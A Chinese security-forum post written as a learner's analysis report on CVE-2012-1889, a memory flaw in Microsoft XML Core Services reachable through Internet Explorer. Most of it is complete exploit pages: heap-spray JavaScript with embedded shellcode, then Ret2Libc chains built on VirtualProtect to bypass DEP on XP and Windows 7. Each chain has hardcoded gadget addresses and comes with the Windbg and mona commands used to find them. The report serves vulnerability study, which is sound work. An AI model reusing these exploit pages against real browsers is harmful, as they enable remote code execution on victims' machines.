本帖最后由 Payload_82 于 2018-4-24 11:42 编辑
新手入行,道行尚浅,如有疏忽错漏之处请各位坛友指点。
帖子写的比较啰嗦,大家将就看看吧。
Microsoft XML Core Services缓冲区溢出漏洞(CVE-2012-1889)漏洞分析报告
软件名称: | Microsoft Internet Explorer | 操作系统: | Windows XP/7 | 软件版本: | 6.0/8.0 | 漏洞编号: | CVE-2012-1889 | 漏洞模块: | msxml3.dll | 危害等级: | 高危 | 模块版本: | 8.110.7600.16385 | 漏洞类型: | 缓冲区溢出 | 编译日期: | 2009-7-14 | 威胁类型: | 远程 |
一、软件简介
Microsoft XML CoreServices(MSXML)是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务。
二、漏洞成因
Microsoft XML CoreServices 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内存的位置。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。
三、利用过程
根据网上的资料,大致可以了解到漏洞利用过程由易到难有3个层次: 操作系统和IE版本 | 数据执行保护(DEP) | 随机基址(ASLR) | XP + IE6 | 无 | 无 | XP + IE8 | 开启 | 无 | Win7 + IE8 | 开启 | 开启 |
因此我们从简单开始逐层提高利用难度。
1. XP + IE6.0环境
运行收集到的PoC_1(见附件),在Windows XP+IE6的环境下用Windbg附加调试,程序运行至崩溃,中断处如图:
可见导致崩溃的[ecx+18h]中的ecx来自eax地址上的值,eax又来自[ebp-14h]即系统栈中的一个局部变量。推测问题由mov eax,dwordptr[ebp-14h]产生。 运行网上收集到的POC_2,继续用Windbg附加程序,崩溃处的代码如下:
POC_2的代码:[HTML] 纯文本查看 复制代码 <html>
<head>
<title>CVE 2012-1889 PoC v2 By:15PB.Com</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 获取名为15PB的对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 初始化数据变量srcImgPath的内容(unescape()是解码函数)
var srcImgPath = unescape("\u0C0C\u0C0C");
// 构建一个长度为0x1000字节的数据
while (srcImgPath.length < 0x1000)
srcImgPath += srcImgPath;
// 构建一个长度为0x1000-10[4088*2]的数据,起始内容为“\\15PB_Com”
srcImgPath = "\\\\15PB_Com" + srcImgPath;
nLenth = 0x1000-4-2-1; // 4=堆长度信息 2=堆结尾信息 1=0x00
srcImgPath = srcImgPath.substr(0, nLenth);
// 创建一个图片元素,并将图片源路径设为srcImgPath
var emtPic = document.createElement("img");
emtPic.src = srcImgPath;
emtPic.nameProp; // 返回当前图片文件名(载入路径)
obj15PB.definition(0); // 定义对象(触发溢出)
</script>
</body>
</html>
大致查看这段代码我们发现构造了一个0x1000大小值为0x0C0C0C0C的数据块,这个数据块导致缓冲区溢出,将[ebp-14]的位置覆盖成0x0C0C0C0C,此时从这个地址取数据导致访问错误。查看网上的资料结合 PoC_1 与 PoC_2 代码可知PoC 用作方法调用 definition 函数,而 MSDN中definition 作为属性使用,作为属性的成员当作了方法使用因此触发了漏洞。因为PoC_2 中提供了将 eax 变为0x0c0c0c0c 的思路,确定可以使用堆喷射技术完成攻击。
堆喷射
Heap Spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。当申请大量的内存到时候,堆很有可能覆盖到的地址是 0x0A0A0A0A(160M),0x0C0C0C0C(192M), 0x0D0D0D0D(208M)等等几个地址,可以参考下面的简图说明。一般的网马里面进行堆喷时,申请的内存大小一般都是 200M,主要是为了保证能覆盖到 0x0C0C0C0C 地址。[HTML] 纯文本查看 复制代码 <html>
<head>
<title>CVE 2012-1889 POC Red_Magic_ver.7</title>
</head>
<body>
<object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1.准备好shellcode
var cShellCode = unescape("\uEC81\u0200\u0000\u5BEB\u6148\u6B63\u6465\u6220\u2079\u6552\u5F64\u614D"+
"\u6967\u0063\u6157\u6E72\u6E69\u0067\u7845\u7469\u7250\u636F\u7365\u0073"+
"\u654D\u7373\u6761\u4265\u786F\u0041\u7375\u7265\u3233\u642E\u6C6C\u4C00"+
"\u616F\u4C64\u6269\u6172\u7972\u0041\u6547\u5074\u6F72\u4163\u6464\u6572"+
"\u7373\uE800\u0000\u0000\u645A\u1D8B\u0030\u0000\u4B8B\u8B0C\u1C49\u098B"+
"\u698B\u8B08\u3C45\u4C8B\u7805\uCD03\u598B\u8B20\u1441\uDD03\u8B48\u8334"+
"\uF503\u7A8B\u39EC\u753E\u8BF3\uF07A\u7E39\u7504\u8BEB\uF47A\u7E39\u7508"+
"\u8BE3\uF77A\u7E39\u750B\u8BDB\u2459\uDD03\u8B66\u4304\u598B\u031C\u8BDD"+
"\u833C\uFD03\uF78B\u428D\u52DF\u5550\uD6FF\uD88B\u8D5A\uD442\u5052\uD3FF"+
"\uF88B\u8D5A\uC842\u5052\uFF57\u5AD6\uD88B\u428D\u52BC\u5550\uD6FF\u605A"+
"\u4A8D\u8DB4\uA072\u006A\u5651\u006A\uD3FF\u6A61\uFF00\u00D0");
// 2.制作一块数据
// 2.1计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
var nSlideSize = 1024*1024/2; // 一个滑板指令区的大小(1MB)
var nMlcHadSize = 32/2; // 堆头部大小
var nStrLenSize = 4/2; // 堆长度信息大小
var nTerminatorSize = 2/2; // 堆结尾符号大小
var nScSize = cShellCode.length; // shellcode 大小
var nFillSize = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize;
// 2.2 填充滑板指令,制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
var cSlideData = new Array(); // 申请一个数组对象用于保存滑板数组
while(cFillData.length <= nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize); // 应该是将cFillData内nFillSize个字符填为0
// 3. 填充200MB的内存区域(申请200块1MB大小的滑板指令数据区),试图覆盖0x0C0C0C0C区域,
// 每块滑板数据均由滑板数据 + shellcode组成,这样只要任意一块滑板数据
// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区后面的Shellcode处,进而执行Shellcode
for(var i=0; i<200; ++i)
{
cSlideData[i] = cFillData + cShellCode;
}
// 4.触发CVE 2012-1889漏洞
// 4.1获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 4.2构建一个长度为0x1000 - 10 = 8182,起始内容为“\\15PB_COM”字节的数据
var srclmgPath = unescape("\u0C0C\u0C0C");
while(srclmgPath.length < 0x1000)
srclmgPath += srclmgPath;
srclmgPath = "\\\\15PB" + srclmgPath;
srclmgPath = srclmgPath.substr(0, 0x1000 - 10);
// 4.3 创建一个图片元素,并将图片源路径设为srclmgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srclmgPath;
emtPic.nameProp;
// 4.4定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
构造POC实现弹出窗口
2. XP + IE8.0环境
微软为IE8.0开启了数据执行保护技术(DEP),此时利用漏洞就需要绕过DEP。
数据执行保护
DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志,令表示代码的区块拥有执行权限,而保存数据的区块仅有读写权限,进而防止数据区域内的 shellcode 执行。DEP 的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫 SafeSEH。另一种为硬件实现,由英特尔这种CPU 硬件生产厂商固化到硬件中的, 也称作 NX保护机制。 绕过DEP需要用到Ret2Libc技术, 即连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列,其中我们可以调用 ZwSetInfomationProcess,VirtualProtect,VitualAlloc 一类的函数来实现关闭 DEP 的目的。本次使用 VirtualProtect 修改内存区域为可写实现关闭 DEP。在 IE 使用的模块中找到这些ret 指令为结尾的指令序列,我们称之为 gadgets。在构造Ret2Libc指令序列时,我们要仔细区分系统栈和堆空间以及自己构造出的栈。经过分析溢出地址的指令,去掉不相关的指令后如下所示。我们发现必须将栈溢出部分的数据由 0C0C0C0Ch 修改为 0C0C0C08h 使得 EAX 与 ECX 获得不同的值以避免RETN 指令将 0C0C0C0Ch 作为返回地址。否则无法执行堆空间中的后续指令。
[Asm] 纯文本查看 复制代码 mov eax,dword ptr [ebp-14h] ;eax = 0C0C0C08
...
mov esi,eax ;esi = 0C0C0C08
...
mov ecx,dword ptr [eax] ;ds:0023:0c0c0c08 ecx = 0C0C0C0C
...
call dword ptr [ecx+18h] ;call [0C0C0C24],在这里填一条ret指令地址
..
mov eax,dword ptr [esi] ;eax = 0C0C0C0C
...
call dword ptr [eax+8] ;call [0C0C0C14],即Xcgh eax,esp;ret这2
;条指令的地址,执行完xchg eax,esp后esp值
;为0C0C0C0C,此时就构造了一个新的栈空间
;在0C0C0C10处填写Pop ebp;ret地址是为了
;使EIP跳过0C0C0C14地址处的指令
| 堆 空 间 |
| 系 统 栈 | | 地 址 | 值 | 地 址 | 值 | | 0C0C0C08 | 0C0C0C0C |
|
| 自己构造出的新的栈空间 | 0C0C0C0C | Ret指令地址 |
|
| 0C0C0C10 | Pop ebp;ret地址 |
|
| 0C0C0C14 | Xcgh eax,esp;ret地址 |
| 0C0C0C08 | 0C0C0C18 | Ret指令地址 |
| 0C0C0C08 | 0C0C0C1C | Ret指令地址 |
| 0C0C0C08 | 0C0C0C20 | Ret指令地址 | …. | …. | 0C0C0C24 | Ret指令地址 | 0C0C0C28 | VirtualProtect函数地址 | 0C0C0C2C | 返回地址:0C0C0C40 | EBP-14 | 0C0C0C08 | 0C0C0C30 | 参数1:0C0C0C00 可随意 |
|
| 0C0C0C34 | 参数2:0x1000 |
|
| 0C0C0C38 | 参数3:0x40 |
|
| 0C0C0C3C | 参数4:可写的内存地址 |
|
| 0C0C0C40 | Shellcode开始地址 |
|
|
精准堆喷射
为了绕过 DEP,我们需要前面的Ret2Libc技术,另外,必须保证跳转到堆上的时候正好位于Ret2Libc链的第一条指令。因此需要使用精准堆喷射技术,才可以保证 0x0C0C0C0C 处即为Ret2Libc链的第一个字节。使用 Windbg 调试打开 PoC 页面的 IE 进程,当完成堆的喷射之后,使用 windbg 查看 0x0C0C0C0C 所在的堆块的属性以及0x0C0C0C0C距离堆空间首地址的偏移,可以使用命令!heap -p -a0c0c0c0c
其中第一个表达式求出0x0C0C0C0C到UserPtr的距离,因为JavaScript中字符串是Unicode形式的,所以在第二个表达式中进行了除以2的操作,又因为堆块的对齐粒度是0×1000,所以将结果对0×1000进行取余。注意每一次查看0x0C0C0C0C所在堆块的UserPtr会不尽相同,但是在特定的环境下计算出来的最终结果基本是一致的,如本实验在win7sp1的IE8下为0x5F6(某些IE8环境下得出的结果可能是0x5F4),于是堆中每一块0×1000大小的数据看起来如图所示: Offset |
| | | Padding | Ret2Libc | Shellcode | Padding | 0x1000 Bytes |
Ret2Libc执行链的构造
因为在XP系统下大多数dll并未开启ASLR,因此我们可以在任意一个系统DLL中查找相关指令地址。借助mona2工具可以快速找到相关指令。查看dll属性的指令为:!py mona mod
使用命令 !py monafind –s “\x94\xC3” –m msvcrt.dll ,查找XCHGEAX,ESP;RET指令序列,结果如下
继续使用命令 !py mond find –s “\x5d\xc3”–mmsvcrt.dll 查找 POP EBP; RET指令序列,结果如下
继续使用命令 !py mond find –s “\xc3” –mmsvcrt.dll 查找RET指令。到此就找到了Ret2Libc所需要的指令序列。下面再找到VirtualProtect函数地址和一个可写的内存位置作为参数4即可。
使用命令“uVirtualProtect”搜索到kernel32!VirtualProtect地址
在内存中找一个可读写的地址用来做VirtualProtect函数的第4个参数,可以从msvcrt.dll的.data段末尾处找到4个字节,可以使用PE工具查看msvcrt.dll各个区段的大小,然后在Windbg中查看地址属性。用命令:lmvm “msvcrt”可以查看msvcrt.dll的路径、版本等详细信息
使用命令:!address 加载基址+RVA,查看data段地址和属性。这里可以使用最后几个字节的地址。
此时我们就可以构造POC了
[HTML] 纯文本查看 复制代码 <html>
[/align][/align][align=left] <head>
<title>CVE 2012-1889 POC Red_Magic_ver.7</title>
</head>
<body>
<object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1.生成Padding
var cPadding = unescape("\u0C0C\u0C0C");
while(cPadding.length < 0x1000)
cPadding += cPadding;
cPadding = cPadding.substring(0, 0x5F4); //在实际调试过程中,这个偏移有可能有偏差,需要动态调整
// 2.制作Ret2Libc
var cRet2Libc = unescape("\u 2091\u77be" + // RET
"\ubb7c\u77be" + // POP EBP; RET
"\ua891\u77c0" + // XCHG EAX,ESP
"\u 2091\u77be" + // RET
"\u 2091\u77be" + // RET
"\u 2091\u77be" + // RET
"\u 2091\u77be" + // RET
"\u1ad4\u7c80" + // VirtualProtect
"\u0c40\u0c0c" + // Shellcode address
"\u0c00\u0c0c" + // lpAddr
"\u1000\u0000" + // dwSize
"\u0040\u0000" + // flNewProtect
"\ucff0\u77c2"); // lpfOldProtect
// 3.准备好Payload
var cPayload = unescape("\u8360\u20EC\u49EB\u6547\u5074\u6F72\u4163\u6464"+
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579"+
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D"+
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250"+
"\u636F\u7365\u0073\u6950\u656E\u6F43\u656E\uE800"+
"\u0000\u0000\u645B\u358B\u0030\u0000\u768B\u8B0C"+
"\u1C76\u368B\u568B\u5308\uE852\u0014\u0000\uF08B"+
"\u4B8D\u52C0\u5251\uD0FF\u535A\u5056\uE852\u006E"+
"\u0000\u8B55\u83EC\u0CEC\u8B52\u0855\u728B\u8D3C"+
"\u3234\u768B\u8D78\u3234\u7E8B\u8D1C\u3A3C\u7D89"+
"\u8BFC\u207E\u3C8D\u893A\uF87D\u7E8B\u8D24\u3A3C"+
"\u7D89\u33F4\uEBC0\u4001\u758B\u8BF8\u8634\u558B"+
"\u8D08\u3234\u5D8B\u8D0C\uB27B\u0EB9\u0000\uFC00"+
"\uA6F3\uE375\u758B\u33F4\u66FF\u3C8B\u8B46\uFC55"+
"\u348B\u8BBA\u0855\u048D\u5A32\uE58B\uC25D\u0008"+
"\u8B55\u83EC\u08EC\u5D8B\u8D14\uCF4B\u006A\u006A"+
"\uFF51\u0C55\u4B8D\u51DA\uFF50\u1055\u4589\u8DFC"+
"\uE64B\uFF51\u0875\u55FF\u8910\uF845\u4B8D\u6AF2"+
"\u5100\u6A51\uFF00\uFC55\u006A\u55FF\u8BF8\u5DE5"+
"\u10C2\u0000");
// 4.准备好FillData
// 4.1 计算填充滑板指令的大小
var nSlideSize = 0x1000; // 一个滑板指令区的大小(1MB)
var nPadSize = cPadding.length;
var nR2LSize = cRet2Libc.length;
var nPaySize = cPayload.length;
var nFillSize = nSlideSize - nPadSize - nR2LSize - nPaySize;
// 4.2 制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
while(cFillData.length <= nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize); // 应该是将cFillData内nFillSize个字符填为0
// 5. 构建滑板指令数据块
var nBlockSize = 0x40000; // 256KB
var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
while(cBlock.length < nBlockSize)
cBlock += cBlock;
// 6. 填充200M的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
// 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
// 后面的Shellcode处,进而执行Shellcode
var cSlideData = new Array();
for(var i=0; i<800; ++i)
cSlideData[i] = cBlock.substr(0, cBlock.length);
// 7.触发CVE 2012-1889漏洞
// 7.1获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 7.2构建一个长度为0x1000 - 10 = 8182,起始内容为“\\15PB”字节的数据
var srclmgPath = unescape("\u0C0C\u0C08"); // 注意这里填0c08
while(srclmgPath.length < 0x1000)
srclmgPath += srclmgPath;
srclmgPath = "\\\\15PB" + srclmgPath;
srclmgPath = srclmgPath.substr(0, 0x1000 - 10);
// 7.3 创建一个图片元素,并将图片源路径设为srclmgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srclmgPath;
emtPic.nameProp;
// 4.4定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
3. Win7+IE8.0环境
首先要找到一个未开启ASLR的dll,利用!py mona mod命令,通过查看知道了msvcrt.dll是开启了随机基址的,IEInspectorBHO.dll没有开启
使用Mona插件找到xchg eax,esp;ret 指令序列、pop ebp;ret指令序列和ret指令地址构造执行链。找到VirtualProtect函数地址时,使用命令“uVirtualProtect”找不到地址
上网查资料得知可以用加上模块名再查,使用命令:u kernel32!VirtualProtect,结果如下
这种使用方法是需要系统中存在有符号文件的情况下行,如果没有符号windgb会从保存的符号路径中去下载符号文件。注意的是,函数只支持全名。此外还可以使用x命令,x命令显示所有上下文中匹配指定模板的符号。可用字符通配符。所以,这个可以用来定位函数,这里介绍下字符串通配符语法:一个星号(*)表示零个或多个字符。见下图
接下来需要找到一个可写的位置作为VirtualProtect函数第4个参数即可。
错误经验
经过尝试,发现IEInspectorBHO.dll模块没法使用,因为每次启动IE8后模块加载基址都会变,填写的地址在IE重启后都变成了错误的地址。只能尝试使用另一个未开启ASLR的模块AccountProtect.dll
重新搜索命令序列再次构造POC,发现终于可以触发漏洞了。代码如下
[HTML] 纯文本查看 复制代码 <html>
<head>
<title>CVE 2012-1889 POC Red_Magic_ver.7</title>
</head>
<body>
<object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
<script>
// 1.生成Padding
var cPadding = unescape("\u0C0C\u0C0C");
while(cPadding.length < 0x1000)
cPadding += cPadding;
cPadding = cPadding.substring(0, 0x5F4);
// 2.制作Ret2Libc
var cRet2Libc = unescape("\u112b\u68e1" + // RET
"\u1546\u68e1" + // POP EBP; RET
"\u7c65\u68e1" + // XCHG EAX,ESP
"\u112b\u68e1" + // RET
"\u112b\u68e1" + // RET
"\u112b\u68e1" + // RET
"\u112b\u68e1" + // RET
"\u50ab\u7709" + // VirtualProtect
"\u0c40\u0c0c" + // Shellcode address
"\u0c00\u0c0c" + // lpAddr
"\u1000\u0000" + // dwSize
"\u0040\u0000" + // flNewProtect
"\u6FFC\u7711"); // lpfOldProtect
// 3.准备好Payload
var cPayload = unescape("\u8360\u20EC\u49EB\u6547\u5074\u6F72\u4163\u6464"+
"\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579"+
"\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D"+
"\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250"+
"\u636F\u7365\u0073\u6950\u656E\u6F43\u656E\uE800"+
"\u0000\u0000\u645B\u358B\u0030\u0000\u768B\u8B0C"+
"\u1C76\u368B\u568B\u5308\uE852\u0014\u0000\uF08B"+
"\u4B8D\u52C0\u5251\uD0FF\u535A\u5056\uE852\u006E"+
"\u0000\u8B55\u83EC\u0CEC\u8B52\u0855\u728B\u8D3C"+
"\u3234\u768B\u8D78\u3234\u7E8B\u8D1C\u3A3C\u7D89"+
"\u8BFC\u207E\u3C8D\u893A\uF87D\u7E8B\u8D24\u3A3C"+
"\u7D89\u33F4\uEBC0\u4001\u758B\u8BF8\u8634\u558B"+
"\u8D08\u3234\u5D8B\u8D0C\uB27B\u0EB9\u0000\uFC00"+
"\uA6F3\uE375\u758B\u33F4\u66FF\u3C8B\u8B46\uFC55"+
"\u348B\u8BBA\u0855\u048D\u5A32\uE58B\uC25D\u0008"+
"\u8B55\u83EC\u08EC\u5D8B\u8D14\uCF4B\u006A\u006A"+
"\uFF51\u0C55\u4B8D\u51DA\uFF50\u1055\u4589\u8DFC"+
"\uE64B\uFF51\u0875\u55FF\u8910\uF845\u4B8D\u6AF2"+
"\u5100\u6A51\uFF00\uFC55\u006A\u55FF\u8BF8\u5DE5"+
"\u10C2\u0000");
// 4.准备好FillData
// 4.1 计算填充滑板指令的大小
var nSlideSize = 0x1000; // 一个滑板指令区的大小(1MB)
var nPadSize = cPadding.length;
var nR2LSize = cRet2Libc.length;
var nPaySize = cPayload.length;
var nFillSize = nSlideSize - nPadSize - nR2LSize - nPaySize;
// 4.2 制作好一块填充数据
var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
while(cFillData.length <= nSlideSize)
cFillData += cFillData;
cFillData = cFillData.substring(0, nFillSize); // 应该是将cFillData内nFillSize个字符填为0
// 5. 构建滑板指令数据块
var nBlockSize = 0x40000; // 256KB
var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
while(cBlock.length < nBlockSize)
cBlock += cBlock;
// 6. 填充200M的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C
// 区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据
// 正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
// 后面的Shellcode处,进而执行Shellcode
var cSlideData = new Array();
for(var i=0; i<800; ++i)
cSlideData[i] = cBlock.substr(0, cBlock.length);
// 7.触发CVE 2012-1889漏洞
// 7.1获取名为15PB的XML对象,并将其保存到名为obj15PB实例中
var obj15PB = document.getElementById('15PB').object;
// 7.2构建一个长度为0x1000 - 10 = 8182,起始内容为“\\15PB”字节的数据
var srclmgPath = unescape("\u0C0C\u0C08"); // 注意这里填0c08
while(srclmgPath.length < 0x1000)
srclmgPath += srclmgPath;
srclmgPath = "\\\\15PB" + srclmgPath;
srclmgPath = srclmgPath.substr(0, 0x1000 - 10);
// 7.3 创建一个图片元素,并将图片源路径设为srclmgPath,并返回当前图片文件名
var emtPic = document.createElement("img");
emtPic.src = srclmgPath;
emtPic.nameProp;
// 4.4定义对象obj15PB(触发溢出)
obj15PB.definition(0);
</script>
</body>
</html>
四、总结 经过这次漏洞利用尝试,学习了如何分析漏洞的利用方法、如何构造Ret2Libc执行链,使用windbg和mona插件调试程序和查找指令序列等知识,对漏洞利用的初级知识有了更深的认识和体会。同时也发现利用该漏洞有很大局限,就是Ret2Libc执行链中的地址是在代码中写死的,但是对于不同的系统或电脑重启后这个地址都是不同的,那么在真实环境下黑客是如何利用这个漏洞编写保护恶意代码网页的呢?请大神指导一下。 最后感谢15PB的老师和同学在本次分析中的的帮助和指导。
五、参考资料
[1] 任晓辉.《15PB信息安全教育:shellcode编程艺术》.2017-06-15.
[2] 北海松果.《暴雷漏洞(CVE-2012-1889)个人漏洞分析报告》.看雪论坛.2017-07-15。地址:https://bbs.pediy.com/thread-219222.htm
[3] RedOrange.《暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告》.看雪论坛.2017-02-27。地址:https://bbs.pediy.com/thread-215974.htm
附录:
本人新手学习,所以为了方便其它新手学习漏洞利用,这里附上mona2安装流程,大神请略过。
1.安装Windbg
2.安装Python 2.7
3.安装Visual C++2008运行库
4.安装Windbg的Python插件“pykd”
5.将“mona.py”和“windbglib.py”放到Windbg.exe同目录下
6.运行Windbg开始调试后,输入以下命令即可使用mona
CVE-2012-1889.rar
(6.67 KB, 下载次数: 32)
mona插件链接: https://pan.baidu.com/s/1FF84smPHyGH7KUF_IlmzCQ 密码: v253 |